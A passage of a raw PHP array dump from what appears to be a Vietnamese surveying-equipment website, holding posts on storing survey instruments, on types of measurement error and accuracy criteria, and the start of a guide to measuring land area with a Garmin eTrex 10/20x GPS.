phòng.<br /> - Không bảo quản thiết bị trắc địa ở những nơi nóng hoặc ẩm ướt. Đặc biệt, bạn phải lưu trữ bộ pin ở nơi khô ráo ở nhiệt độ dưới 30 ° C (86 ° F). Nhiệt độ cao hoặc độ ẩm quá mức có thể khiến nấm mốc phát triển trên các ống kính. Nó cũng có thể làm cho thị kính điện tử bị mờ đi và do đó dẫn đến việc khó bắt mục tiêu.<br /> <br /> <img alt="" src="/admin/webroot/upload/image/images/DTM 322(1).jpg" style="width: 400px; height: 391px;" /><br /> - Khi bảo quản thiết bị ở những nơi có nhiệt độ cực thấp, hãy để hộp đựng mở.<br /> - Khi điều chỉnh các ốc cân bằng máy, hãy đặt vị trí càng gần vị trí trung tâm của ốc cân bằng máy.<br /> - Không sử dụng dung môi hữu cơ (chẳng hạn như ether hoặc chất pha loãng sơn) để làm sạch các bộ phận phi kim loại của thiết bị (chẳng hạn như bàn phím hoặc các bề mặt được sơn của máy). Làm như vậy có thể dẫn đến đổi màu bề mặt, hoặc lột các ký tự logo. Làm sạch những bộ phận này chỉ bằng một bông gòn, vải hoặc khăn giấy, thấm nhẹ bằng nước hoặc chất tẩy nhẹ.<br /> - Để vệ sinh ống kính quang học, hãy lau nhẹ bằng một miếng vải mềm hoặc bông gòn được thấm cồn.<br /> - Trước khi gắn pin, hãy chắc chắn rằng bề mặt tiếp xúc trên bề mặt pin và dụng cụ đã được lau chùi sạch sẽ.<br /> <br /> <img alt="" src="/admin/webroot/upload/image/images/HOP MAY_02 B40A(2).jpg" /><br /> - Hộp đựng được thiết kế kín nước, nhưng bạn không nên để nó tiếp xúc với mưa lớn.<br /> <br /> Bảo quản thiết bị trắc địa là một trong những khâu quan trọng giúp việc đo đạc được chính xác. Nó giúp hỗ trợ giảm chi phí đầu tư cũng như chi phí sửa chữa máy. Hy vọng những thông tin trên sẽ hữu ích cho bạn.<br /> </span></span>', 'images' => '201905030810258d806bbec8ab9ba5235e121c05e3154a.jpg', 'images_multi' => '', 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2019-05-03', 'modified' => '2025-08-18', 'status' => '1', 'view' => '75066', 'slug' => 'cach-bao-quan-thiet-bi-trac-dia-dung-cach', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '939', 'rght' => '940', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 3 => array( 'Post' => array( 'id' => '536', 'name' => 'Các loại sai số, tiêu chí đánh giá độ chính xác kết quả đo', 'code' => null, 'alias' => 'cac-loai-sai-so-tieu-chi-danh-gia-do-chinh-xac-ket-qua-do', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '', 'content' => '<div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; font-weight: 700;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">1. Các loại sai số trong đo đạc.</em></span></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">a) Sai số sai lầm.</em></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Sai số sai lầm là do người đo thiếu cẩn thận trong khi đo, hoặc kỹ thuật đo không bảo đảm. Sai số này thường có giá trị tương đối lớn.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">- Khắc phục: đổi người đo</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">b) Sai số hệ thống:</em></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Là những sai số do độ chính xác của máy và không bảo đảm hoặc do thói quen, thị lực của người đo.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Sai số hệ thống thường có dấu và giá trị không đổi.</span></span></div> <p style="box-sizing: border-box; margin: 0px 0px 10px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> </p> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Loại trừ sai số hệ thống:</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">- Nếu do máy thì chúng ta có thể kiểm nghiệm, xác định giá trị sai số của máy rồi lấy kết quả đo trừ đi giá trị sai số đó.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">- nếu do người đo thì chúng ta có thể kiểm nghiện sai số của người bằng cách so sánh kết quả của người đo với một vài người đo khác để biết được mức độ sai khác nhau về kết quả, sau đó lấy kết quả đo trừ đi giá trị sai khác đó.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">c) Sai số ngẫu nhiên.</em></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Là những sai số xuất hiện trong kết quả đo một cách ngẫu nhiên mà không thể xác định được quy luật cũng như giá trị và nguyên nhân của sai số đó.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Sai số ngẫu nhiên không thể loại trừ được, tuy nhiên qua nghiên cứu cho thấy sai số ngẫu nhiên có những tính chất sau đây:</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"> - Các giá trị tuyệt đối của sai số ngẫu nhiên không vượt quá một giá trị nhất định nào đó.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">- Các giá trị sai số ngẫu nhiên càng nhỏ thì có khả năng xuất hiện càng nhiều, còn giá trị càng lớn thì xuất hiện càng ít.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">- Sai số ngẫu nhiên mang giá trị dương (+) và sai số ngẫu nhiên mang giá trị âm (-) có xác suất xuất hiện bằng nhau khi số lần đo tiến tới vô cùng.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">- Tổng đại số của các giá trị sai số ngẫu nhiên của n lần đo cho một đại lượng là bằng không khi:<a href="https://4.bp.blogspot.com/-xRibgiac6uE/Ur6R6Z6lB6I/AAAAAAAADeo/LSe-3TIrzM4/s1600/gisgpsrs-trac-dia-co-so.PNG" imageanchor="1" style="box-sizing: border-box; margin: 0px; padding: 0px; background-color: transparent; color: rgb(51, 51, 51); text-decoration-line: none;"><img border="0" src="https://4.bp.blogspot.com/-xRibgiac6uE/Ur6R6Z6lB6I/AAAAAAAADeo/LSe-3TIrzM4/s1600/gisgpsrs-trac-dia-co-so.PNG" style="box-sizing: border-box; margin: 0px; padding: 0px; border: none; vertical-align: middle; max-width: 100%;" /></a></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; font-weight: 700;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">2. Các tiêu chí đánh giá độ chính xác kết quả đo.</em></span></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">a) Sai số trung bình cộng (kí hiệu là s): được tính theo công thức sau:</em></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px; clear: both;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><a href="https://4.bp.blogspot.com/-R8MMROfkfWU/Ur6SpdB55TI/AAAAAAAADew/MkE9uEdOJ3Y/s1600/gisgpsrs-trac-dia-co-so-sai-so.PNG" imageanchor="1" style="box-sizing: border-box; margin: 0px; padding: 0px; background-color: transparent; color: rgb(51, 51, 51); text-decoration-line: none;"><img border="0" src="https://4.bp.blogspot.com/-R8MMROfkfWU/Ur6SpdB55TI/AAAAAAAADew/MkE9uEdOJ3Y/s1600/gisgpsrs-trac-dia-co-so-sai-so.PNG" style="box-sizing: border-box; margin: 0px; padding: 0px; border: none; vertical-align: middle; max-width: 100%;" /></a></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Trong đó: s- sai số trung bình cộng</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> </div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px; clear: both;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"> <a href="https://2.bp.blogspot.com/-XitZG4vs5lY/Ur6TBEfaApI/AAAAAAAADe4/0ebiserIDsY/s1600/gisgpsrs-sai-so-do.PNG" imageanchor="1" style="box-sizing: border-box; margin: 0px; padding: 0px; background-color: transparent; color: rgb(51, 51, 51); text-decoration-line: none;"><img border="0" src="https://2.bp.blogspot.com/-XitZG4vs5lY/Ur6TBEfaApI/AAAAAAAADe4/0ebiserIDsY/s1600/gisgpsrs-sai-so-do.PNG" style="box-sizing: border-box; margin: 0px; padding: 0px; border: none; vertical-align: middle; max-width: 100%;" /></a>- sai số ngấu nhiên của lần đo thứ i</span></span></div> <p style="box-sizing: border-box; margin: 0px 0px 10px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> </p> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"> n – số lần đo</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">b) Sai số trung phương (kí hiệu là m): được tính theo công thức:</em></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px; clear: both;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><a href="https://3.bp.blogspot.com/-q6MGq8qVYW8/Ur6Tijo7boI/AAAAAAAADfA/34rOoWyxlOg/s1600/gisgpsrs-sai-so-trung-phuong.PNG" imageanchor="1" style="box-sizing: border-box; margin: 0px; padding: 0px; background-color: transparent; color: rgb(51, 51, 51); text-decoration-line: none;"><img border="0" src="https://3.bp.blogspot.com/-q6MGq8qVYW8/Ur6Tijo7boI/AAAAAAAADfA/34rOoWyxlOg/s1600/gisgpsrs-sai-so-trung-phuong.PNG" style="box-sizing: border-box; margin: 0px; padding: 0px; border: none; vertical-align: middle; max-width: 100%;" /></a></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Trong đó: m – sai số trung phương</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> </div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px; clear: both;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"> <a href="https://3.bp.blogspot.com/-XitZG4vs5lY/Ur6TBEfaApI/AAAAAAAADe8/RFQOzCDHS1Y/s1600/gisgpsrs-sai-so-do.PNG" imageanchor="1" style="box-sizing: border-box; margin: 0px; padding: 0px; background-color: transparent; color: rgb(51, 51, 51); text-decoration-line: none;"><img border="0" src="https://3.bp.blogspot.com/-XitZG4vs5lY/Ur6TBEfaApI/AAAAAAAADe8/RFQOzCDHS1Y/s1600/gisgpsrs-sai-so-do.PNG" style="box-sizing: border-box; margin: 0px; padding: 0px; border: none; vertical-align: middle; max-width: 100%;" /></a>- sai số ngấu nhiên của lần đo thứ i</span></span></div> <p style="box-sizing: border-box; margin: 0px 0px 10px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> </p> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"> n – số lần đo</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">c) Sai số xác suất (kí hiệu là p)</em></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Trong dãy kết quả đo nếu sắp xếp các sai số theo giá trị tuyệt đối từ bé đến lớn thì sai số xác suất p có giá trị của sai số đứng giữa về thứ tự sắp xếp.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Khi nghiên cứu về sai số trung bình cộng (s), sai số trung phương (m) và sai số xác suất (p) thấy chúng có mối quan hệ: p/s/m - tương ứng là 0,67/0,8/1,0</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Nếu số lần đo càng nhiều thì tỷ số này càng đúng, dựa vào tỷ số này người tư có thể tính nhanh các giá trị của sai số trung bình cộng (s), sai số trung phương (m) thông qua giá trị của sai số xác suất (p)</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">d) Sai số giới hạn (kí hiệu là f)</em></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Nghiên cứu thống kê cho thấy:</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Cứ 1000 sai số thực thì có 3 giá trị si số vượt qua giới hạn ba lần giá trị sai số trung phương m. Trong 100 sai số thực thì có năm giá trị v]ợt quá giới hạn hai lần giá trị của sai số trung phương m.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Vì vậy người ta thường chọn sai số giới hạn bằng 3 lần sai số trung phương</span></span></div> <div align="center" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">f = 3m</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Trong trường hợp yêu cầu độ chính xác cao thì chọn sai số giới hạn bằng 2 lần sai số trung phương.</span></span></div> <div align="center" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">f = 2m</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Như vậy trong quá trình tính toán nếu giá trị nào vượt quá sai số giới hạn thì bị coi là sai số sai lầm và bị loại ra khỏi kết quả đo.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">e) Sai số tương đối (kí hiệu là <span style="box-sizing: border-box; margin: 0px; padding: 0px; font-weight: 700;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">1/T</em></span>) là tỷ số giữa sai số trung phương và giá trị thực của đại lượng đo (L).</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px; clear: both;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><a href="https://2.bp.blogspot.com/-gSCgrAByN9M/Ur6UM1jjS8I/AAAAAAAADfI/mkKKcoc2Ex8/s1600/gisgpsrs-sai-so-tuong-doi.PNG" imageanchor="1" style="box-sizing: border-box; margin: 0px; padding: 0px; background-color: transparent; color: rgb(51, 51, 51); text-decoration-line: none;"><img border="0" src="https://2.bp.blogspot.com/-gSCgrAByN9M/Ur6UM1jjS8I/AAAAAAAADfI/mkKKcoc2Ex8/s1600/gisgpsrs-sai-so-tuong-doi.PNG" style="box-sizing: border-box; margin: 0px; padding: 0px; border: none; vertical-align: middle; max-width: 100%;" /></a></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Sai số tương đối dùng để so sánh mức độ sai số với giá trị thực của đại lượng đo:</span></span></div> ', 'images' => '201904250406260790335a670cb13c2fdb67fe2f8df9ba.jpg', 'images_multi' => null, 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2019-04-25', 'modified' => '2025-08-18', 'status' => '1', 'view' => '83021', 'slug' => 'cac-loai-sai-so-tieu-chi-danh-gia-do-chinh-xac-ket-qua-do', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '937', 'rght' => '938', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 4 => array( 'Post' => array( 'id' => '535', 'name' => 'Hướng dẫn đo diện tích đất bằng máy định vị cầm tay GARMIN ETREX 10/20X ', 'code' => null, 'alias' => 'huong-dan-do-dien-tich-dat-bang-may-dinh-vi-cam-tay-garmin-etrex-10-20x', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="color: rgb(17, 17, 17); font-weight: 700; text-align: justify;">Những năm gần đây việc sử dụng máy định vị cầm tay để đo diện tích đất nông nghiệp, đất rừng… trở nên phổ biến. Người nông dân, thương lái đã ứng dụng thiết bị kỹ thuật vào việc đo diện tích đất để mua bán cao su, tiêu, điều,… một cách rất hiệu quả và chính xác.</span></span></span>', 'content' => '<p style="margin: 0px auto; padding: 5px 0px; color: rgb(0, 0, 0); font-family: Arial, sans-serif; background-image: initial !important; background-position: initial !important; background-size: initial !important; background-repeat: initial !important; background-attachment: initial !important; background-origin: initial !important; background-clip: initial !important;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;">Sau đây, chúng tôi xin phép hướng dẫn cách đo diện tích đất bằng máy định vị cầm tay Etrex 10/20x đơn giản và chính xác.<br /> <br /> <strong>Phần 1: Kiểm tra tín hiệu vệ tinh và sai số của máy định vị trước khi đo diện tích</strong><br /> <br /> Máy định vị cầm tay Etrex 10/20 đo diện tích dựa trên tín hiệu vệ tinh vì vậy để số liệu đo chính xác thì vệ tinh thu được phải nhiều và đầy đủ. Hãy kiểm tra tín hiệu vệ tinh trước khi đo:<br /> <br /> - Nhấn <em>Menu</em> 2 lần để vào màn hình menu chính<br /> <img alt="" src="/admin/webroot/upload/image/images/Hình 2.jpg" style="width: 300px; height: 300px;" /><br /> <br /> - Di chuyển con trỏ vào ô <em>Satellite</em> => nhấn <em>Enter</em><br /> <img alt="" src="/admin/webroot/upload/image/images/Hình 3(1).jpg" style="width: 381px; height: 510px;" /><br /> <br /> - Màn hình vệ tinh sẽ hiện ra. Trên góc phải phía trên màn hình thể hiện sai số của máy. Khi hiện ra số từ 3 - 5m tức là vệ tinh đã tốt, chúng ta có thể bắt đầu đo diện tích đất.<br /> <br /> <img alt="" src="/admin/webroot/upload/image/images/Hình 4(1).jpg" style="width: 306px; height: 409px;" /><br /> Sau khi kiểm tra tín hiệu vệ tinh và sai số của máy định vị trước khi đo diện tích sẽ tiến hành đo diện tích đất.<br /> <br /> <strong>Phần 2: Tiến hành đo diện tích đất</strong><br /> <br /> <strong>Bước 1:</strong> Nhấn nút <em>Menu</em> trên máy 2 lần để trở về màn hình menu chính<br /> <img alt="" src="/admin/webroot/upload/image/images/Hình 1 lần 2.jpg" style="width: 300px; height: 300px;" /><br /> <em>Hình 1. Nhấn Menu 2 lần để trở về màn hình chính</em><br /> <br /> Bước 2: Di chuyển con trỏ vào biểu tượng có chữ <em>Area Calculation</em> (chức năng đo diện tích) => nhấn <em>Enter</em><strong>. </strong>Màn hình đo diện tích sẽ hiện ra.<br /> <img alt="" src="/admin/webroot/upload/image/images/Hình 2 lần 2.jpg" style="width: 311px; height: 414px;" /><br /> <em>Hình 2. Di chuyển con trỏ vào biểu tượng có chữ Area Calculation</em><br /> <br /> Bước 3: Bây giờ hãy vào khu đất cần đo diện tích và nhấn <em>Enter</em> vào chữ <em>Start</em>, sau đó đi vòng quanh khu đất cần đo.<br /> <img alt="" src="/admin/webroot/upload/image/images/Hình 3 lần 2.jpg" style="width: 400px; height: 533px;" /><br /> <em>Hình 3. Nhấn Enter vào chữ Start</em><br /> <br /> Bước 4: Sau khi đi vòng quanh khu đất cần đo đến vị trí xuất phát ban đầu nhấn <em>Enter</em> vào chữ <em>Calculate.</em><br /> <img alt="" src="/admin/webroot/upload/image/images/Hình 4 lần 2.jpg" style="width: 296px; height: 395px;" /><br /> <em>Hình 4. Nhấn Enter vào chữ Calculate</em><br /> <br /> Màn hình hiển thị kết quả đo diện tích sẽ hiện ra:<br /> <img alt="" src="/admin/webroot/upload/image/images/Hình 5.jpg" style="width: 309px; height: 412px;" /><br /> <em>Hình 5. Hiển thị kết quả đo</em><br /> <br /> Tùy vào mỗi mục đích công việc khác nhau mà chúng ta lựa chọn đơn vị đo phù hợp.<br /> Để chọn đơn vị đo bạn chỉ cần di chuyển con trỏ vào chữ <em>Change Units</em> và nhấn <em>Enter </em>=> màn hình sẽ hiện ra các đơn vị đo để bạn lựa chọn, thông thường chúng ta sẽ đo diện tích khu đất lớn nên chọn vào đơn vị Hectares<strong> (</strong>Ha<strong>).</strong><br /> <br /> 